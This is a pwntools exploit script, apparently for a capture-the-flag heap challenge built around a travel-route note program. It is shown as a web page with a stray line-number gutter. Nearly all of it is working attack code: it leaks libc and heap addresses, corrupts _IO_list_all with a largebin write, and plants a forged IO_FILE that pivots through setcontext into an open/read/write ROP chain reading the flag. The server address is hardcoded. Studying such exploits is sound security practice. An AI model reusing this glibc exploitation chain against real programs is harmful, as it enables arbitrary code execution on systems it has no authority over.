1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196
| from pwn import * from pwn import p8,p16,p32,p64,u32,u64 context.arch = 'amd64'
context.terminal = ['gnome-terminal', '-e'] local_file = '/home/feichai/ctf_file/pwn' elf=ELF(local_file) local_libc = elf.libc.path libc=ELF(local_libc, checksec = False)
def start(): if args.GDB: gdbscript = ''' shell wmctrl -r :ACTIVE: -b add,above shell wmctrl -r :ACTIVE: -e 0,110,80,1700,1300 b *$rebase(0x22DC) b *$rebase(0x14CE) b *$rebase(0x1696) ''' io = process(local_file) gdb.attach(io, gdbscript) elif args.PROCESS: io = process(local_file) else: io = remote("139.155.126.78",31459) return io
def lg(s, addr): return info(f'\033[1;33m{f"{s}-->0x{addr:02x}"}\033[0m')
r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b)
io = start()
def choice(idx): sla(b'distance.',str(idx))
def add(size,From,To,content=b'aaaa'): choice(1) if size == 0x510: sla(b'car/train/plane?',b'car') elif size == 0x520: sla(b'car/train/plane?',b'train') elif size == 0x530: sla(b'car/train/plane?',b'plane') sla(b'From where?',From) sla(b'To where?',To) sla(b'How far?',b'900') sa(b'Note:',content)
def free(From,To): choice(2) sla(b'From where?',From) sla(b'To where?',To)
def show(From,To): choice(3) sla(b'From where?',From) sla(b'To where?',To)
def edit(From,To,idx,content): choice(4) sla(b'From where?',From) sla(b'To where?',To) sla(b'change?',str(idx)) sla(b'How far?',b'900') sa(b'Note:',content)
def Dijkstra(cities): choice(5) sla(b'travel?',cities)
c = ['guangzhou','nanning','changsha','nanchang','fuzhou'] chunk_list = 0x50C0
def exp():
add(0x510,c[0],c[1]) add(0x510,c[1],c[2]) add(0x530,c[2],c[3]) Dijkstra(c[3]) free(c[1],c[2]) free(c[0],c[1]) add(0x530,c[0],c[1],b'a'*0x510) show(c[0],c[1]) libc_base = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x21ace0 lg('libc_base',libc_base) setcontext = libc_base + libc.sym['setcontext'] stderr = libc_base + libc.sym['stderr'] _IO_list_all = libc_base + libc.sym['_IO_list_all']
free(c[0],c[1]) add(0x510,c[0],c[1]) add(0x530,c[1],c[2]) add(0x510,c[2],c[3],b'a'*8) show(c[2],c[3]) ru(b'a'*8) heap_base = u64(r(6).ljust(8,b'\x00')) - 0x1990 lg('heap_base',heap_base) ret = 0x0000000000029139 + libc_base pop_rdi = 0x000000000002a3e5 + libc_base pop_rsi = 0x000000000002be51 + libc_base pop_rdx_r12 = 0x000000000011f2e7 + libc_base pop_rax = 0x0000000000045eb0 + libc_base
fake_io_addr=heap_base+0x4850 _flags = 0 fake_IO_FILE = b'' fake_IO_FILE += p64(0)*4 fake_IO_FILE += p64(1)+p64(2) fake_IO_FILE += p64(fake_io_addr+0xb0) fake_IO_FILE += p64(setcontext + 61) fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x20,b'\x00') fake_IO_FILE += p64(0) fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x20,b'\x00') fake_IO_FILE += p64(heap_base+0x1000) fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x20,b'\x00') fake_IO_FILE += p64(fake_io_addr+0x30) fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x20,b'\x00') fake_IO_FILE += p64(1) fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x20,b'\x00') fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x30) fake_IO_FILE += p64(0)*6 fake_IO_FILE += p64(fake_io_addr+0x40) payload = fake_IO_FILE + p64(0)*7 + p64(heap_base+0x4330+0x20+8) + p64(ret)
open = libc.sym["open"] + libc_base read = libc.sym["read"] + libc_base write = libc.sym["write"] + libc_base
flag_str = heap_base + 0x3e10 + 0x20 flag_addr = heap_base + 0x6000
orw = b'\x00\x00\x00\x00\x00\x00\x00\x00' orw += p64(pop_rdi) + p64(flag_str) orw += p64(pop_rsi) + p64(0) orw += p64(open)
orw += p64(pop_rdi) + p64(3) orw += p64(pop_rsi) + p64(flag_addr) orw += p64(pop_rdx_r12) + p64(0x30) + p64(0) orw += p64(read)
orw += p64(pop_rdi) + p64(1) orw += p64(pop_rsi) + p64(flag_addr) orw += p64(pop_rdx_r12) + p64(0x30) + p64(0) orw += p64(write)
add(0x520,c[0],c[0]) add(0x520,c[1],c[1]) add(0x520,c[2],c[2]) add(0x520,c[3],c[3]) add(0x520,c[4],c[4]) add(0x520,c[0],c[2]) add(0x510,c[0],c[3],payload)
free(c[0],c[2]) free(c[4],c[4]) free(c[3],c[3]) free(c[2],c[2]) free(c[1],c[1]) free(c[0],c[0])
add(0x530,c[2],c[3]) add(0x530,c[2],c[3]) add(0x530,c[0],c[4],b'a'*0x4f0+p64(0)+p64(0x531)+p32(3)+p32(3)) add(0x510,c[2],c[3],b'a'*0x4e0+p64(0)+p64(0x531)+p32(4)+p32(4)) add(0x510,c[2],c[3],b'./flag\x00\x00') add(0x510,c[2],c[3],orw)
free(c[3],c[3]) add(0x530,c[2],c[3]) pd = b'a'*0x4f0+p64(0)+p64(0x531) pd += p64(libc_base+0x21b110)*2+p64(heap_base+0x38c0)+p64(_IO_list_all-0x20) lg('stderr',stderr)
edit(c[0],c[4],0,pd) free(c[0],c[3]) add(0x530,c[2],c[3]) lg("IO_flush_all",libc_base+0x8E95B) pause() choice(6)
io.interactive()
if __name__=='__main__': exp()
|